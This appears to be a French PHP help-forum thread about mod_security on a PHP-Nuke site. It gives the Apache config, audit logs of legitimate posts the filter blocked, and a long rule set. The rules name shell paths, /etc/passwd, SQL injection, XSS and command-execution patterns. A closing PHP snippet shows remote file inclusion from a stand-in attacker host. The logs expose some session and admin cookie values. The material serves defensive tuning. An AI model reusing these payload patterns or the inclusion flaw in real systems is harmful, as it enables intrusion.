Forum d'entraide PHPFrance

<IfModule mod_security.c>
# activer le moteur de mod_security
SecFilterEngine On
# vérifie la validité de l'encodage des urls
SecFilterCheckURLEncoding On
# vérifie la validité de l'unicode
SecFilterCheckUnicodeEncoding On
# Only allow bytes from this range
SecFilterForceByteRange 0 255
# log seulement pour certaines requetes
SecAuditEngine RelevantOnly
# Nom du fichier de log
SecAuditLog logs/modsec_log
# niveau de debug
SecFilterDebugLog logs/modsec_debug_log
SecFilterDebugLevel 0
# activation du scan des données en POST, par exemple les formulaires
#SecFilterScanPOST On -------> J'ENLEVE CAR IMPOSSIBLE DE POSTER SUR PHPNUKE
#Afficher apache a la place de la version d apache
SecServerSignature "Apache"
# log des requetes http suspectes avec un status erreur 401, erreur d'authentification
SecFilterDefaultAction "deny,log,status:401"
# l'insertion du fichier modsec.conf
include /usr/local/apache/conf/modsec.conf
</IfModule>

==7765b25b==============================
Request: www.bellepierre.info 81.248.225.173 - - [08/Jun/2006:18:00:06 +0200] "POST /modules.php?name=Submit_News HTTP/1.1" 401 486 "http://www.bellepierre.info/modules.php ... ubmit_News" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7" - "-"
Handler: mod_gzip_handler
----------------------------------------
POST /modules.php?name=Submit_News HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding: gzip,deflate
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Connection: keep-alive
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Cookie: qs_longid=axxxxxxxxxxxxxxxxxxe; admin=Qxxxxxxxxzxxxxx%3D; user=xxxxxxxxxxxxxxxxxxxxY%xx; lang=french; phpbb2mysql_data=a%3Axxxxxx22autologinid%22%3Bxxxxxxxxxxx2userid%2xxxxxxxxxxxxxxxB%7D
Host: www.bellepierre.info
Keep-Alive: 300
Referer: http://www.bellepierre.info/modules.php ... ubmit_News
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
mod_security-message: Access denied with code 401. Error parsing POST parameters: Error normalising parameter value: Invalid Unicode encoding: invalid byte value [severity "EMERGENCY"]
mod_security-action: 401

97
subject=test&topic=1&alanguage=&story=test&storyext=test&op=Pr%E9visualisation&posttype=plaintext

HTTP/1.1 401 Authorization Required
Keep-Alive: timeout=15, max=94
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
--7765b25b--

==43b0880c==============================
Request: www.enseignants-du-primaire.info 90.5.164.129 - - [08/Jun/2006:17:52:57 +0200] "POST /modules.php?name=Your_Account HTTP/1.1" 401 498 "http://www.enseignants-du-primaire.info/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4" - "-"
Handler: mod_gzip_handler
----------------------------------------
POST /modules.php?name=Your_Account HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding: gzip,deflate
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Connection: keep-alive
Content-Length: 91
Content-Type: application/x-www-form-urlencoded
Cookie: lang=french
Host: www.enseignants-du-primaire.info
Keep-Alive: 300
Referer: http://www.enseignants-du-primaire.info/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
mod_security-message: Access denied with code 401. Error parsing POST parameters: Error normalising parameter value: Invalid Unicode encoding: invalid byte value [severity "EMERGENCY"]
mod_security-action: 401

91
username=Miss+Philom%E9na&user_password=6xxxxxx&random_num=119522&gfx_check=583012&op=login

HTTP/1.1 401 Authorization Required
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
--43b0880c--

Error parsing POST parameters: Error normalising parameter value: Invalid Unicode encoding: invalid byte value [severity "EMERGENCY"]

This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.

SecFilter "/bin/sh"
SecFilter "/bin/bash"
SecFilter "/bin/tclsh"
SecFilter "/bin/ls"
SecFilter "/bin/echo"
SecFilter "/bin/python"
SecFilter "/bin/kill"
SecFilter "/bin/chmod"
SecFilter "/bin/cc"
SecFilter "/bin/gcc"
SecFilter "/chgrp"
SecFilter "/chown"
SecFilter "/etc/passwd"
SecFilter "/boot"
SecFilter "/etc"
SecFilter "/initrd"
SecFilter "/lost+found"
SecFilter "/mnt"
SecFilter "/proc"
SecFilter "/root"
SecFilter "/sbin"
SecFilter "/var"
SecFilter "/usr/local/apache"
SecFilter "/usr/local/mysql"
SecFilter "/usr/X11R6/bin/xterm"
SecFilter "/etc/inetd\.conf" log,pass
SecFilter "/etc/shadow" log,pass
SecFilter "visualcoders\.net/spy\.gif\?\&cmd"
SecFilter "conf/httpd\.conf" log,pass
SecFilter "HTTP/1\.1 403"
SecFilter "cmd32\.exe"
SecFilter "cmd\.exe"
SecFilter "\.cmd\?&"
SecFilter "document\.domain\("
SecFilter "javascript\://"
SecFilter "img src=javascript"
SecFilter "_PHPLIB[libdir]"

## -- PHP --------------------------------------------------------------------

# Allow only letters, digits, underscore, and square brackets (for arrays)
# in variable names
#
SecFilterSelective ARGS_NAMES "!^[][a-zA-Z0-9_]+$"

# GLOBALS attack against PHP 4.x
#
SecFilterSelective ARGS_NAMES "(^globals\[|^globals$)"

# URL in a parameter, possible allow_url_fopen attack
#
SecFilterSelective ARGS_VALUES "^http:/"

# Possible code execution attack (targets valid PHP streams constructs)
# see http://www.securityfocus.com/bid/10427
#
SecFilterSelective ARGS_NAMES "^php:/"

## -- SQL Injection Attacks --------------------------------------------------

SecFilterSignatureAction "log,pass,msg:'SQL Injection attack'"

# Generic
SecFilterSelective ARGS "delete[[:space:]]+from"
SecFilterSelective ARGS "drop[[:space:]]+database"
SecFilterSelective ARGS "drop[[:space:]]+table"
SecFilterSelective ARGS "drop[[:space:]]+column"
SecFilterSelective ARGS "drop[[:space:]]+procedure"
SecFilterSelective ARGS "create[[:space:]]+table"
SecFilterSelective ARGS "update.+set.+="
SecFilterSelective ARGS "insert[[:space:]]+into.+values"
SecFilterSelective ARGS "select.+from"
SecFilterSelective ARGS "bulk[[:space:]]+insert"
SecFilterSelective ARGS "union.+select"
SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"
SecFilterSelective ARGS "alter[[:space:]]+table"
SecFilterSelective ARGS "or 1=1--'"
SecFilterSelective ARGS "'.+--"

# MS SQL
SecFilterSelective ARGS "exec.+xp_"
SecFilterSelective ARGS "exec.+sp_"
SecFilterSelective ARGS "@@[[:alnum:]]+"
SecFilterSelective ARGS ";--"
SecFilterSelective ARGS "exec[[:space:]]*\("
SecFilterSelective ARGS "openquery"
SecFilterSelective ARGS "openrowset"
SecFilterSelective ARGS "msdasql"
SecFilterSelective ARGS "sqloledb"
SecFilterSelective ARGS "sysobjects"
SecFilterSelective ARGS "syscolumns"
SecFilterSelective ARGS "syslogins"
SecFilterSelective ARGS "sysxlogins"

SecFilterSelective ARGS "select.+=[[:space:]]*0x[0-9a-zA-Z]+"
SecFilterSelective ARGS "char[[:space:]]*\([[:space:]]*0x[0-9a-zA-Z]+[[:space:]]*\)"

# MySQL
SecFilterSelective ARGS "into[[:space:]]+outfile"
SecFilterSelective ARGS "load[[:space:]]+data
SecFilterSelective ARGS "/\*.+\*/"

# MS Access
SecFilterSelective ARGS "MSysACEs"
SecFilterSelective ARGS "MSysObjects"
SecFilterSelective ARGS "MSysQueries"
SecFilterSelective ARGS "MSysRelationships"


## -- XSS Attacks ------------------------------------------------------------

SecFilterSignatureAction "log,pass,msg:'XSS attack'"

SecFilterSelective ARGS "alert[[:space:]]*\("
SecFilterSelective ARGS "&#[[0-9a-fA-F]]{2}"
SecFilterSelective ARGS "eval[[:space:]]*\("
SecFilterSelective ARGS "onKeyUp"
SecFilterSelective ARGS "\x5cx[0-9a-fA-F]{2}"
SecFilterSelective ARGS "fromCharCode"
SecFilterSelective ARGS "&\{.+\}"

SecFilterSelective ARGS "<.+>"
SecFilterSelective ARGS "javascript:"
SecFilterSelective ARGS "vbscript:"
SecFilterSelective ARGS "http-equiv"
SecFilterSelective ARGS "-->"
SecFilterSelective ARGS "expression[[:space:]]*\("
SecFilterSelective ARGS "url[[:space:]]*\("
SecFilterSelective ARGS "innerHTML"
SecFilterSelective ARGS "document\.body"
SecFilterSelective ARGS "document\.cookie"
SecFilterSelective ARGS "document\.location"
SecFilterSelective ARGS "document\.write"
SecFilterSelective ARGS "style[[:space:]]*="
SecFilterSelective ARGS "dynsrc"

SecFilterSelective ARGS_VALUES "jsessionid"
SecFilterSelective ARGS_VALUES "phpsessid"

# HTML tags frequently used for attacks
SecFilterSelective ARGS "<applet"
SecFilterSelective ARGS "<div"
SecFilterSelective ARGS "<embed"
SecFilterSelective ARGS "<iframe"
SecFilterSelective ARGS "<img"
SecFilterSelective ARGS "<meta"
SecFilterSelective ARGS "<object"
SecFilterSelective ARGS "<script"
SecFilterSelective ARGS "<textarea"

# JavaScript event handlers
SecFilterSelective ARGS "onAbort"
SecFilterSelective ARGS "onBlur"
SecFilterSelective ARGS "onChange"
SecFilterSelective ARGS "onClick"
SecFilterSelective ARGS "onDblClick"
SecFilterSelective ARGS "onDragDrop"
SecFilterSelective ARGS "onError"
SecFilterSelective ARGS "onFocus"
SecFilterSelective ARGS "onKeyDown"
SecFilterSelective ARGS "onKeyPress"
SecFilterSelective ARGS "onLoad"
SecFilterSelective ARGS "onMouseDown"
SecFilterSelective ARGS "onMouseOut"
SecFilterSelective ARGS "onMouseOver"
SecFilterSelective ARGS "onMouseUp"
SecFilterSelective ARGS "onMove"
SecFilterSelective ARGS "onReset"
SecFilterSelective ARGS "onResize"
SecFilterSelective ARGS "onSelect"
SecFilterSelective ARGS "onSubmit"
SecFilterSelective ARGS "onUnload"

# XmlHttp
SecFilterSelective ARGS "onReadyStateChange"
SecFilterSelective ARGS "xmlHttp"


## -- Command execution ------------------------------------------------------

SecFilterSignatureAction "log,pass,msg:'Command execution attack'"

#SecFilterSelective ARGS_VALUES "^(uname|id|ls|cat|rm|kill|mail)"
#SecFilterSelective ARGS_VALUES "^(ls|id|pwd|wget)"
SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)"


## -- LDAP injection ---------------------------------------------------------

SecFilterSignatureAction "log,pass,msg:'LDAP injection attack'"

SecFilterSelective ARGS "objectClass"
SecFilterSelective ARGS "objectCategory"
SecFilterSelective ARGS "\)\(\|"
SecFilterSelective ARGS "\)\(!"
SecFilterSelective ARGS "\)\(&"


## -- SSI injection ----------------------------------------------------------

SecFilterSignatureAction "log,pass,msg:'SSI injection attack'"

SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*exec"
SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*cmd"
SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*echo"
SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*include"
SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*printenv"

Request: www.enseignants-du-primaire.info 80.8.168.59 - - [16/Jun/2006:22:09:19 +0200] "POST /modules.php?name=Downloads HTTP/1.1" 401 498 "http://www.enseignants-du-primaire.info ... 5&type=url"
"Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12)
Gecko/20050919 Firefox/1.0.7" - "-"
Handler: mod_gzip_handler
----------------------------------------
POST /modules.php?name=Downloads HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding: gzip,deflate
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Connection: keep-alive
Content-Length: 308
Content-Type: application/x-www-form-urlencoded
Cookie: lang=french; admin=YW5kcmVqb3JnZToxYTAzNGViMGJmMjU0OWNjYzkzMWQxMGJiMWIwMDhmYjo%3D;
phpbb2mysql_data=a%3A0%3A%7B%7D
Host: www.enseignants-du-primaire.info
Keep-Alive: 300
Referer: http://www.enseignants-du-primaire.info ... 5&type=url
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
mod_security-message: Access denied with code 401. Pattern match "^http:/" at ARGS_VALUES("dref") [severity "EMERGENCY"]
mod_security-action: 401

308
passcode=yixxxxxxet&cid=98&lid=4xx&checkpass=yiwnt&ftid=bWWxxxx
xxxEb3dubG9hZHMvZmlsZXVwbG9hZHMvemljemljODUtZXZhbHVhdGlvbxx
xxxemlw&title=Ce+que+je+connais+de+la+France
&dref=http%3A%2F%2Fwww.enseignants-du-primaire.info%2Fmodules.php%3Fname
%3DDownloads%26d_op%3Dviewdownload%26cid%3D98&d_op=ns_get_download

HTTP/1.1 401 Authorization Required
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
--a528016f--

// ta variable passée par GET ou POST
$dref = 'http://black-hat-hacker.com/code-malicieux.txt';

// inclusion mortelle
include($dref);